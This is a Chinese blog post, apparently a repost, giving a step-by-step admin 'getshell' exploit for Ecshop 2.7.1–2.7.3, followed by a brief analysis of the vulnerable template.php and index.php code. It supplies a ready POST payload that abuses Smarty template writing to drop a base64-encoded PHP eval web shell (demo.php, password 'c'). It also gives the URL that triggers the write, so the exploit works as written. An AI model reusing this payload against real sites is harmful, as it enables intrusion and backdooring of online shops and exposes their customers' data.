Ecshop 全本版后台getshell

参考链接:http://www.myhack58.com/Article/html/3/8/2013/38400_2.htm

Ecshop 2.7.1\2.7.2\2.7.3 后台getshell
T00ls又关闭了,这次关闭原因依然不解中。
之前用到的时候就去T00ls看,结果弄今天找了半天才找到。

—–
漏洞利用:
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容:

lib=recommend_best&html={if fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
shel地址:http://localhost/ec/demo.php
密码c
作者:Cond0r

漏洞分析: 思路还是不错的
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

if
			($_REQUEST['act']
			==
			'update_library')
			{     check_authz_json('library_manage');      $html = stripslashes(json_str_iconv($_POST['html']));      $lib_file =
			'../themes/'
			. $_CFG['template']
			.
			'/library/'
			. $_POST['lib']
			.
			'.lbi';
			//模板文件      $lib_file = str_replace("0xa",
			'', $lib_file);
			// 过滤 0xa 非法字符      $org_html = str_replace("\xEF\xBB\xBF",
			'', file_get_contents($lib_file));
			if
			(@file_exists($lib_file)
			===
			true
			&&
			@file_put_contents($lib_file, $html))//写出
			{
			@file_put_contents('../temp/backup/library/'
			. $_CFG['template']
			.
			'-'
			. $_POST['lib']
			.
			'.lbi', $org_html);         make_json_result('', $_LANG['update_lib_success']);
			}
			else
			{         make_json_error(sprintf($_LANG['update_lib_failed'],
			'themes/'
			. $_CFG['template']
			.
			'/library'));
			}
			}

那么找个比较方便调用了模板的文件
index.php

 

if
			($act ==
			'cat_rec')
			{      $rec_array = array(1
			=>
			'best',
			2
			=>
			'new',
			3
			=>
			'hot');      $rec_type =
			!empty($_REQUEST['rec_type'])
			? intval($_REQUEST['rec_type'])
			:
			'1';      $cat_id =
			!empty($_REQUEST['cid'])
			? intval($_REQUEST['cid'])
			:
			'0';      include_once('includes/cls_json.php');      $json =
			new JSON;      $result   = array('error'
			=>
			0,
			'content'
			=>
			'',
			'type'
			=> $rec_type,
			'cat_id'
			=> $cat_id);      $children = get_children($cat_id);      $smarty->assign($rec_array[$rec_type]
			.
			'_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));
			// 推荐商品      $smarty->assign('cat_rec_sign',
			1);      $result['content']
			= $smarty->fetch('library/recommend_'
			. $rec_array[$rec_type]
			.
			'.lbi');//使用了模板文件 该模板文件为recommend_best          echo 'library/recommend_'
			. $rec_array[$rec_type]
			.
			'.lbi';          echo $rec_array[$rec_type];
			die($json->encode($result));
			}
此条目发表在dedecms参考分类目录。将固定链接加入收藏夹。

发表评论

邮箱地址不会被公开。 必填项已用*标注

您可以使用这些HTML标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>